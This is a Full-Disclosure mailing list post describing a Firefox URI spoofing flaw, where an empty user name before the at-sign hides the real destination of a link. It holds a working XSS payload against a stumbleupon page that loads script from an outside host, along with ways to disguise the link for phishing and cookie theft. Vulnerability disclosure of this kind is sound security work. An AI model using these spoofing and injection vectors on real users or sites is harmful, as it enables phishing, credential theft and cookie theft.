Full Disclosure: Firefox URI Spoofing Revisited

["carl hardwick" <hardwick.carl () gmail com>]

http://www.0x000000.com/

I talked about this before in a previous post. Mozilla pointed me on a
flaw, and I went back to investigate it some more. I turns out that
I'm right after all but in a different setting, but with the same
idea. The below vector can be used to trick filters or surfers into
performing various things. One of them is to steal cookies from
surfers who think that the URI we give them is legit, or phish for
credentials by setting up a cloned GMail page. This is due to the
empty user name: http://:uri () phishdomain  Normally when you fill in
the user name like: http://foo:uri () phishdomain  it will give a
warning, which it should. But without a user name it won't give us a
warning, and thereby tricking Firefox to strip the whole part before
the at-sign and go to the domain after the at-sign. This can be
dangerous in some ways, because of the unknown potential it holds.
Triggering or bypassing RegEx filters who only look for a white-listed
domain are some of the possibilities. Anyway, I thought it was worth
mentioning it.

Here we can trick users into triggering a XSS on stumbleupon:

http://:www.gmail.com () www stumbleupon com/create_campaign.php?url="><script
src=http://www.0x000000.com/x.js></script><"

To obfuscate it, one can encode it or put a lot of spaces between:

http://:www.gmail.com            @phishdomain

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/